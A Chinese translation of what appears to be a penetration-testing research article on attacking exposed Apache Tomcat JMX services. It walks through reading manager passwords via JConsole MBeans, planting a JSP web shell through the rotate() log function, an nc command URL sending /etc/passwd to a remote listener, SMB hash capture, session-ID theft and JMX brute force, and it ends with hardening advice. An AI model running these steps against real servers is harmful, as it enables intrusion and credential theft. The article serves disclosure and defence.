一、前言

本文主要關(guān)注Tomcat服務(wù)器的一些配置問題，可以將Java管理擴展(JMX)服務(wù)暴露到外部網(wǎng)絡(luò)中，來用于遠程監(jiān)視和管理的目的。

通過使用Java開發(fā)工具包(JDK)中的JConsole工具，這些功能可能被攻擊者濫用來獲得系統(tǒng)的控制權(quán)限。

本文的編寫是為了來強調(diào)這種之前不為作者所知的新的攻擊方式，它與Tomcat服務(wù)器暴露的JMX接口有關(guān)。

希望在這里提供了足夠的信息，以利于提出阻止這種利用的有效的緩解措施并且?guī)椭鷿B透測試團隊評估使用這種配置的Tomcat服務(wù)器的狀態(tài)。

本文討論的這個問題已經(jīng)提交給Tomcat團隊，被分類為程序的已知功能，并且目前沒有任何補丁提供。

總而言之，Tomcat指出：

• Java JMX訪問相當于admin/root訪問，其處理方式與對具有admin / root權(quán)限的機器的物理訪問相同。
• 其他敏感的信息，比如session IDs，可通過JMX訪問，并且隱藏這些信息將嚴重降低JMX接口的實用性。
• Tomcat文檔通常不涵蓋JMX的主題，但是在其他地方會涵蓋它。

任何讀者在閱讀本文后都應(yīng)該遵循第九節(jié)中的建議。

二、Tomcat的JMX服務(wù)

Apache Tomcat的JMX服務(wù)通常被用來通過網(wǎng)絡(luò)監(jiān)控和管理遠程Tomcat

實例，通過Java遠程方法調(diào)用(RMI)來與服務(wù)器交互。

這個服務(wù)默認不開啟，與之相反的是其他常見的Java企業(yè)版的服務(wù)器(比如JBoss)是默認配置開啟的。

為了開啟Tomcat的JMX服務(wù)，需要在setenv.sh/setenv.bat做一些簡單的修改，這個腳本是用來設(shè)置環(huán)境變量和Catalina進程啟動時的一些屬性。

JMX服務(wù)可以配置為支持認證，但是它默認不開啟。當認證被開啟(總是被推薦)，它的授權(quán)模型允許訪問屬于只讀或讀寫角色的兩個不同的用戶。

網(wǎng)絡(luò)上關(guān)于JMX接口的配置信息很少且過時了。

例如，在下面的URL對應(yīng)的網(wǎng)頁的標題為“監(jiān)視和管理Tomcat”，但是它的配置指導(dǎo)是基于java 6版本的：

http://tomcat.apache.org/tomcat-8.0-doc/monitoring.html#Enabling_JMX_Remote

這個指南的第一段開始有一段注釋：

“注釋：這個配置只在你需要遠程監(jiān)控Tomcat時才開啟，如果只是本地監(jiān)視則不需要開啟，且需要使用啟動Tomcat相同的用戶。”

這個快速指南包括認證未開啟的簡單配置。然后它建議需要認證時，修改配置來啟用上述的兩個角色且分配密碼。

指南中有意思的一個片段如下：

如果你需要認證，添加并修改這個：

-Dcom.sun.management.jmxremote.authenticate=true 
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password 
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access 

編輯$CATALINA_BASE/conf/jmxremote.access文件：

monitorRole readonly 
controlRole readwrite 

編輯$CATALINA_BASE/conf/jmxremote.password文件：

monitorRole tomcat 
controlRole tomcat 

提示：密碼文件應(yīng)該是只讀的，只能用和運行Tomcat相同的操作系統(tǒng)用戶來訪問。

如上所見，jmxremote.access文件包含兩個用戶名(monitorRole和controlRole)和他們相關(guān)的角色。在jmxremote.password文件中設(shè)置這些用戶的密碼。

對此服務(wù)始終建議啟用認證，但快速指南不強調(diào)此功能。

這個指南不強調(diào)為只讀和讀寫用戶設(shè)置強密碼的重要性。這就是為什么在現(xiàn)場滲透測試期間，這個接口經(jīng)常被發(fā)現(xiàn)沒有配置認證或者使用了與指南建議類似的弱密碼。

三、決定是否啟用Tomcat的JMX接口

通常需要使用nmap進行掃描，來確認與Tomcat關(guān)聯(lián)的JMX接口是否已啟動并在遠程服務(wù)器上運行。

在這種情況下強烈建議使用--version-all和-A標志，因為它會告訴nmap觸發(fā)附加探測器來檢測非標準端口上JMX接口的存在。

例如，假設(shè)使用以下命令行掃描Tomcat服務(wù)器：

>nmap -p- -sV -A 192.168.11.128 -n 
Nmap scan report for 192.168.11.128 
Host is up (0.00028s latency). 
Not shown: 65521 closed ports 
PORT STATE SERVICE VERSION 
... 
2001/tcp open dc? 
... 
8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 
|_ajp-methods: Failed to get a valid response for the OPTION request 
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 
|_http-favicon: Apache Tomcat 
|_http-open-proxy: Proxy might be redirecting requests 
|_http-server-header: Apache-Coyote/1.1 
|_http-title: Apache Tomcat/8.0.39 
... 
49222/tcp open unknown 

為了簡單起見，上面的掃描結(jié)果僅包括與Tomcat相關(guān)的端口。可以看到，端口2001/tcp和端口49222/tcp未明確標識。

然而，添加--version-all標志將顯示更多有趣的信息：

>nmap -p- -A -sV --version-all 192.168.11.128 
Nmap scan report for 192.168.11.128 
Host is up (0.00032s latency). 
Not shown: 65521 closed ports 
PORT STATE SERVICE VERSION 
... 
2001/tcp open java-rmi Java RMI Registry 
| rmi-dumpregistry: 
| jmxrmi 
| implements javax.management.remote.rmi.RMIServer, 
| extends 
| java.lang.reflect.Proxy 
| fields 
| Ljava/lang/reflect/InvocationHandler; h 
| java.rmi.server.RemoteObjectInvocationHandler 
| @192.168.11.128:2001 
| extends 
|_ java.rmi.server.RemoteObject 
... 
8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 
|_ajp-methods: Failed to get a valid response for the OPTION request 
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 
|_http-favicon: Apache Tomcat 
|_http-open-proxy: Proxy might be redirecting requests 
|_http-server-header: Apache-Coyote/1.1 
|_http-title: Apache Tomcat/8.0.39 
... 
49222/tcp open rmiregistry Java RMI 

在這種情況下，JMX服務(wù)被配置為在非標準端口2001/tcp而不是端口1099/tcp上運行，1099/tcp通常被這種服務(wù)的優(yōu)先選擇。

此外，應(yīng)當注意的是當JMX接口運行時，運行Java RMI的隨機端口也可用于Tomcat。從客戶端/攻擊者角度來看，能夠連接此端口也很重要。

也就是說，單獨使用nmap無法確定Tomcat JMX接口是否啟用認證。

四、使用JConsole連接JMX服務(wù)

如果你使用Windows，JConsole是JDK中的一個小的可執(zhí)行文件，存儲在bin文件夾中。啟動后主界面如下圖：

圖1 – Jconsole主界面

JConsole也在Linux版的JDK中提供，且在Kali中找到如下圖：

圖2 – Kali中的JConsole

如果逆向遠程連接到Tomcat JMX接口，選擇Remote Process選項且輸入目標的IP地址加端口號。點擊Connect按鈕：

圖3 – 設(shè)置目標

JConsole能夠檢測到SSL是否開啟，并且顯示如下提示：

圖4 – 目標中的SSL沒有開啟

單擊Insecure connection按鈕繼續(xù)。當啟用認證，通常會顯示以下提示：

圖5 – 認證啟動的提示

在這種情況下，您應(yīng)該使用username和password文本框輸入一些有效的憑據(jù)。請注意，也可能由于其他原因獲得連接失敗錯誤。

連接失敗的常見原因之一是由于攻擊者和服務(wù)器之間的防火墻。此防火墻可能配置為阻止傳入流量到由Tomcat啟動的其他Java RMI進程使用的端口(例如，上面nmap掃描輸出中列出的49222/tcp)。

使用您喜歡的網(wǎng)絡(luò)嗅探器進行流量捕獲，以了解“連接失敗”錯誤是否與認證相關(guān)。

在下面的示例中，Tomcat JMX服務(wù)器(運行于192.168.11.128)正在返回包含認證失敗錯誤的RMI消息：

圖6 – 認證失敗-暗示需要認證憑據(jù)

請注意，上面的錯誤包括需要憑據(jù)的字符串，表示在JConsole初始屏幕中未指定任何憑據(jù)。

在輸入一些憑據(jù)時返回不同的錯誤消息：

圖7 – 不可靠的用戶名和密碼

如果未啟用認證(這在某些內(nèi)部網(wǎng)絡(luò)滲透測試中可能是正確的)，顯示如下：

圖8 – Jconsole連接到遠程的Tomcat JMX接口

事情開始變的有趣。

從這一點開始，我們將考慮攻擊者能夠識別一個監(jiān)聽的Tomcat JMX接口并可以使用JConsole連接到它的情況。這是可能的，因為認證未啟用，或者因為攻擊者能夠猜到一些有效的憑據(jù)。

五、使用JMX讀取Tomcat管理器的密碼

假設(shè)Tomcat啟用了管理器應(yīng)用程序，但是沒有使用任何弱憑據(jù)(如admin/admin或tomcat/manager)。假設(shè)攻擊者試圖使用自動腳本來強制一個有效的密碼而不成功。

在這里，可能得出沒有方法發(fā)現(xiàn)管理器密碼的結(jié)論。

事實上，有一個簡單的方法，在忽略密碼強度的情況下恢復(fù)密碼，在寫文章的這一刻，這個技術(shù)還沒有參考。

這個方法是在你的機器上面啟動JConsole并且指向遠程的Tomcat JMX服務(wù)器。選擇MBeans選項卡：

圖9 – 選擇MBeans

之后顯示如下：

圖10 – Mbeans

展開Users目錄，且選擇下面的節(jié)點：

1Users->User->”manager”->UserDatabase->Attributes

你應(yīng)該能夠看見類似下面的一些東西，這些暗示了憑據(jù)：

圖11 – 泄漏的Tomcat管理器的用戶名和密碼

在這里，你能使用發(fā)現(xiàn)的憑據(jù)來連接到遠程Tomcat管理器，以控制服務(wù)器。

六、日志循環(huán)函數(shù)中的目錄遍歷

如果你已經(jīng)看到了這里，你已經(jīng)有了一個好且簡單的方法來訪問Tomcat管理器，來破環(huán)底層服務(wù)器。

執(zhí)行此操作的典型方法是部署簡單的Web應(yīng)用程序存檔(WAR)，包括允許執(zhí)行操作系統(tǒng)(OS)命令的代碼，然后調(diào)查服務(wù)器上的內(nèi)容。

如果服務(wù)器在Windows上運行，則大多數(shù)時間它將作為SYSTEM或管理員運行。因此，你的操作系統(tǒng)命令將在最高權(quán)限級別運行。

但是，如果由于某些原因Tomcat管理器不在那里怎么辦?

雖然在內(nèi)部網(wǎng)絡(luò)中部署的服務(wù)器則不可能是這種情況，但是仍然有可能，因此我們需要另一種方法來瀏覽服務(wù)器，假設(shè)我們?nèi)匀荒軌蜻B接Tomcat JMX接口。

日志循環(huán)函數(shù)

在大量的具有寫權(quán)限的Tomcat JMX MBeans操作中，有一個顯示了有趣的行為。當JMX服務(wù)沒有配置支持認證時，這個特別的功能也能訪問。下面是它的Java特征：

boolean rotate(string newFileName) 

上面的特征在下面的節(jié)點提供：

Catalina->Valve->localhost->AccessLogValve->Operations 

這表明rotate函數(shù)用于備份Tomcat訪問日志到服務(wù)器上的文件中。

為了證明這個，下載了運行Tomcat8.0.39的Bitnami Linux VM。然后配置服務(wù)器來公開JMX端口，以便允許使用JConsole進行連接。最后totate函數(shù)用此位置指定文件：

/tmp/test.log 

完成這個過程后，下面的確認消息由服務(wù)器返回：

圖12 – ‘True’確認消息被執(zhí)行

可以確認test.log文件在tmp目錄中。直到rotate函數(shù)被調(diào)用，目錄的內(nèi)容是Tomcat訪問日志。

bitnami@ubuntu:/tmp$ cat /tmp/test.log 
192.168.11.1 - - [08/Dec/2016:14:50:42 +0000] "GET /test-log-request HTTP/1.1" 404 1026 
bitnami@ubuntu:/tmp$ 

在服務(wù)器上面執(zhí)行OS命令

正如上一節(jié)討論的，rotate函數(shù)允許在服務(wù)器的任意目錄中存儲文件。它還將允許選擇該文件的任意擴展。

這意味著，作為一個攻擊者，我們?yōu)E用它來在Tomcat提供網(wǎng)絡(luò)服務(wù)的目錄中創(chuàng)建一個Java Servlet Page(JSP)文件。在這里我們的目標創(chuàng)建包含JSP指令的文件來在服務(wù)器上面執(zhí)行命令。

為了實現(xiàn)這個，我們首先需要的是使用在URL中包含有效的JSP代碼的請求來破環(huán)Tomcat訪問日志。

例如，使用Burp Suite Repeater來發(fā)送下面的請求。注意在這個例子中，我們測試的Tomcat運行在80/tcp端口：

圖13 – 發(fā)送的請求

現(xiàn)在我們需要的是找到一個可靠的路徑來存放我們的使用rotate函數(shù)的JSP文件。關(guān)于這個我們能利用JConsole界面中的一些信息。

VM的Summary選項卡能提供一些關(guān)于catalina.base屬性的信息。這個選項卡包含一個節(jié)(在窗口底部)，顯示了Java VM的參數(shù)。

例子顯示如下：

圖14 – catalina.base文件夾

Catalina.base目錄應(yīng)該返回一個webapps文件夾，其中是Tomcat提供的各種網(wǎng)絡(luò)服務(wù)。

部署在服務(wù)器上的網(wǎng)絡(luò)應(yīng)用可以在MBeans選項卡中看到。

下面的截圖是Tomcat服務(wù)器默認的應(yīng)用的例子：

圖15 – Tomcat上默認的應(yīng)用

將cataline.base目錄的信息和Tomcat上的應(yīng)用列表放在一起，找到存儲我們JSP文件的目錄還是可能的。

例如，一個test.jsp文件存儲在/docs文件夾中：

/opt/bitnami/apache-tomcat/webapps/docs/test.jsp 

在這里，上面的路徑可以和rotate函數(shù)一起使用：

圖16 – test.jsp文件被創(chuàng)建

我們能打開瀏覽器并運行一個命令。在下面的截圖中一個命令被執(zhí)行，用來把/etc/passwd的內(nèi)容粘帖到nc客戶端中，繼而連接一個遠程監(jiān)聽器：

圖17 – 遠程服務(wù)器上面的數(shù)據(jù)

作為參考，執(zhí)行命令的URL顯示如下：    

http://192.168.11.141/docs/test.jsp?cmd=sh%20-c%20$@|sh%20.%20echo%20/bin/cat%20/etc/passwd%20|%20nc%20192.168.11.136%208080 

這包括一些調(diào)整，允許使用管道將輸出從一個命令重定向到另一個命令。

如果需要，目前為止的web shell也可以用來執(zhí)行wget命令，并從遠程機器上面下載一個更多功能的JSP shell。

捕獲SMB challenge-responses hashes

正如已經(jīng)討論的，如果你的Tomcat服務(wù)器在Windows上面運行，意味著通過JSP shell執(zhí)行的命令和通過rotate函數(shù)創(chuàng)建的命令將以最高權(quán)限運行。

然而，有時可能出現(xiàn)不正確的情況，且服務(wù)器運行在域賬戶。如果那種情況，捕獲SMB challenge-responses和破解他們是可能的。Rotate函數(shù)也在這里使用。

為了測試攻擊場景，Kali虛擬機可以用來啟動Metasploit SMB capture auxiliary module。

使用JConsole執(zhí)行JMX連接，并且使用下面的參數(shù)使用rotate函數(shù)：

\\192.168.11.136\test 

在這種情況，上面的IP地址是Kali虛擬機。下面的截圖確認了Tomcat向遠程IP發(fā)送了一個請求，能夠3次捕獲SMB challenge：

圖18 – 捕獲的SMB challenge response

通過創(chuàng)建其他文件類型來進行client-side攻擊

注意，rotate函數(shù)也能用來創(chuàng)建敏感文件(如HTML文件)，并且在網(wǎng)絡(luò)應(yīng)用中存儲他們，以便執(zhí)行跨站腳本攻擊。

這個涉及到，重復(fù)上述步驟，使用可靠的HTML代碼污染日志文件，然后在Tomcat網(wǎng)絡(luò)應(yīng)用程序目錄中存儲一個HTML文件。

圖19 – html文件

七、抓取網(wǎng)絡(luò)應(yīng)用的用戶的session ID

另外的Tomcat JMX操作能被攻擊者利用來劫持Tomcat網(wǎng)絡(luò)應(yīng)用的用戶的會話，lisrSessionIds()在下面的節(jié)點顯示：

1Catalina->Manager->[ApplicationName]->Operations->listSessionIds()

這個操作通常可用于Tomcat上部署的每個網(wǎng)絡(luò)應(yīng)用中，且如名稱所示，能返回連接應(yīng)用的用戶的所有的JSESSIONID。

例如，下面的截圖顯示了連接管理器應(yīng)用的用戶的session ID：

 

通過Tomcat JMX服務(wù)可用的操作之一將允許檢索JSESSIONID cookie值，因此可能允許攻擊者通過劫持他們的會話來假冒另一個用戶。

注意，由于需要該帳戶的有效用戶名和密碼，因此無法利用此問題訪問管理器應(yīng)用程序。然而，部署在服務(wù)器上的其他應(yīng)用程序(例如支持基于JSESSIONID cookie的認證的應(yīng)用程序)會受到影響。

能夠運行l(wèi)istSessionIds()數(shù)的攻擊者將能夠劫持另一個用戶的會話。

注意，listSessionIds()是另一個操作，它只對具有寫入權(quán)限的JMX用戶可用。

如果JMX服務(wù)器配置為允許未經(jīng)認證的訪問，那么它仍然可以使用。

八、暴力破解進入Tomcat JMX

當Tomcat JMX服務(wù)配置為啟用認證并且使用強密碼時，仍有可能獲得未經(jīng)授權(quán)的訪問。

實際上，為此服務(wù)實現(xiàn)的認證過程在登錄失敗后不會鎖定帳戶，因此容易受到暴力密碼破解攻擊。

PoC工具(jmxbf)已經(jīng)由作者開發(fā)來演示這個。

使用例子如下：

$>Usage:  
java -jar jmxbf.jar 
-h,--host <arg> The JMX server IP address. 
 -p,--port <arg> The JMX server listening port. 
 -pf,--passwords-file <arg> File including the passwords, one per line. 
 -uf,--usernames-file <arg> File including the usernames, one per line. 

Example:

$>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt 

一些例子輸出如下：

$>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt 
Auth failed!!! 
Auth failed!!! 
Auth failed!!! 
. . . 
Auth failed!!! 
Auth failed!!! 
###SUCCESS### - We got a valid connection for: control:supersecretpwd 
Found some valid credentials - continuing brute force 
.... 
###SUCCESS### - We got a valid connection for: monitor:monitor 
Found some valid credentials - continuing brute force 
Auth failed!!! 
Auth failed!!! 
Auth failed!!! 
Auth failed!!! 
. . . 
Auth failed!!! 
Auth failed!!! 
Auth failed!!! 
The following valid credentials were found: 
control:supersecretpwd 
monitor:monitor 

這個工具通過github可以下載到：https://github.com/nccgroup/jmxbf 。

九、其他問題?

正如已經(jīng)提到的，MBeans操作的大列表和屬性能提供給連接Tomcat JMX服務(wù)的用戶使用。可能還有其他函數(shù)，可以使用與上面討論的rotate函數(shù)問題所示的類似的方式。

深入研究才能確定。

如果由于強大的認證措施讓你無法訪問Tomcat JMX控制臺，則仍然有潛在的方法來破壞服務(wù)器。

Tomcat最近修補了兩個與Java反序列化相關(guān)的漏洞，如果暴露了JMX服務(wù)器，可以利用這些漏洞：

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8735

本文不討論這些漏洞的細節(jié)，但是卻可以說如果你的Tomcat運行在老版本的Java系統(tǒng)中，是可能通過發(fā)送特定的包到JMX服務(wù)器來實現(xiàn)RCE。

進一步研究后再發(fā)布新文。

十、建議

有很多可以實現(xiàn)的建議，來保護有本文討論的問題的Tomcat服務(wù)器。

首先，建議對JMX服務(wù)的訪問使用防火墻。只有列入白名單的IP地址才能連接。

然而，應(yīng)該始終啟用強密碼的認證。下面是在Windows使用setenv.bat啟動認證的例子：

SET JAVA_HOME={replace with full path to Java JDK} 
SET JRE_HOME=%JAVA_HOME% 
SET JAVA_OPTS=%JAVA_OPTS% -Xms256m -Xmx512m -XX:MaxPermSize=256m -server 
SET CATALINA_OPTS=-Dcom.sun.management.jmxremote  
-Dcom.sun.management.jmxremote.port=1099  
-Dcom.sun.management.jmxremote.rmi.port=1099  
-Dcom.sun.management.jmxremote.ssl=true  
-Dcom.sun.management.jmxremote.local.only=false  
-Djava.rmi.server.hostname={replace with Tomcat server IP address} 
SET CATALINA_OPTS=%CATALINA_OPTS%  
-Dcom.sun.management.jmxremote.authenticate=true  
-Dcom.sun.management.jmxremote.password.file=%CATALINA_BASE%/conf/jmxremote.password  
-Dcom.sun.management.jmxremote.access.file=%CATALINA_BASE%/conf/jmxremote.access 

下面是Linux下面使用setenv.sh的例子：

JAVA_HOME={replace with full path to Java JDK} 
JRE_HOME=$JAVA_HOME 
JAVA_OPTS="-Djava.awt.headless=true -XX:+UseG1GC -Dfile.encoding=UTF-8 $JAVA_OPTS " 
JAVA_OPTS="-XX:MaxPermSize=256M -Xms256M -Xmx512M $JAVA_OPTS "  
CATALINA_OPTS="-Dcom.sun.management.jmxremote  
-Dcom.sun.management.jmxremote.port=1099  
-Dcom.sun.management.jmxremote.rmi.port=1099  
-Dcom.sun.management.jmxremote.ssl=true  
-Dcom.sun.management.jmxremote.local.only=false  
-Djava.rmi.server.hostname={replace with Tomcat server IP address}  
-Dcom.sun.management.jmxremote.authenticate=true  
-Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password  
-Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access"  
export JAVA_HOME 
export JRE_HOME 
export JAVA_OPTS 
export CATALINA_OPTS 

SSL也應(yīng)該開啟，以保護認證過程中憑據(jù)嗅探攻擊。

注意，在上述所有的配置中，jmxremote.ssl變量設(shè)為true。

然而，沒有包括正確啟用SSL其他的一些變量。需要的其他配置步驟在這里不再詳述。

下面的URL包含了這個任務(wù)的參考信息：

https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html

https://www.ibm.com/support/knowledgecenter/SSYMRC_6.0.1/com.ibm.jazz.repository.web.admin.doc/topics/t_server_mon_tomcat_option3.html

強烈推薦為只讀和讀寫用戶在jmxremote.password文件中設(shè)置高強度密碼保護。這些應(yīng)該與Tomcat管理器不同。

并且，考慮為所有用戶選擇不常用的用戶名。

另外，只有Tomcat用戶才被允許讀取jmxremote.password文件。如果檢測到這個文件的讀權(quán)限太寬松，Tomcat將不會啟動。

下面的命令能被用來在Windows上面設(shè)置這些權(quán)限：

cacls jmxremote.password /P [username]:R 

盡管JMX訪問等同于admin/root訪問，如果一個人能夠以只讀用戶身份訪問JMX服務(wù)，那么仍然可能看到Tomcat管理器用戶名和密碼。

的確，只讀用戶將不被允許運行任何JMX操作，但他們?nèi)匀荒軌蛟L問一個敏感的信息，在大多數(shù)情況下，將導(dǎo)致Tomcat服務(wù)器的破環(huán)。

關(guān)于rotate函數(shù)的問題，作者認為應(yīng)該嚴格的控制，以避免Tomcat JMX服務(wù)器在服務(wù)器上可用的任何文件夾上創(chuàng)建具有任何擴展名的日志文件。

通過這個函數(shù)創(chuàng)建的日志文件只能在Tomcat日志文件夾中創(chuàng)建，并且無法使用URL訪問。

最后，考慮在系統(tǒng)上存儲一個哈希版本的Tomcat管理器密碼(因為這個哈希將在JMX屬性中可見)而不是純文本版本。

注意，這是我們從Tomcat收到的一個建議，同時討論了JMX只讀用戶能夠讀取管理器的密碼的問題。然而，這種情況下如果用戶名還是明文，攻擊者可以使用離線密碼破解工具破解密碼。

下面的URL包含了存儲哈希版本密碼的一些參考：

https://tomcat.apache.org/tomcat-8.0-doc/realm-howto.html#Digested_Passwords

http://www.jdev.it/encrypting-passwords-in-tomcat/

https://leanjavaengineering.wordpress.com/2011/02/04/tomcat-digested-passwords/

下面是digest工具的使用例子：

digest.bat -s 0 -i 1 themanagersecretpassword 

將輸出明文和加密的憑據(jù)：

themanagersecretpassword:42052cec2459a6b4c383f2c43698d0528fe3f39756f8524763fc9e2997e77ebf1f1ba9bc0926b7395e32bb796e4ec0c1045e96c15c1edb510c2e295a5c11b095 

注意，在上面的例子中，-s和-i參數(shù)分別用于設(shè)置salt的長度和迭代次數(shù)。

Digest工具還接受-a參數(shù)，來指定哈希算法。

根據(jù)Tomcat的推薦，當不使用-a參數(shù)，則默認使用SHA-512。

另外，應(yīng)該注意不帶-s和-i參數(shù)使用digest，將返回{salt}${iterations}${digest}格式的輸出，例子如下：

>digest.bat themanagersecretpassword 
themanagersecretpassword:92cd45d5db0f5794c794bf4fb0cc975347978d53673ec3c946a28c199c209995$1$a27648ca5671b33692ebb95a80720903dfd50b13da649b1d703ffc0260b2194ddec21616528bf4f6a99fb6b8fa724c6c518c2c45125b135b82c2ec16b060cb2f 

上述的例子，關(guān)于salt的長度(字節(jié))和迭代次數(shù)，使用默認值。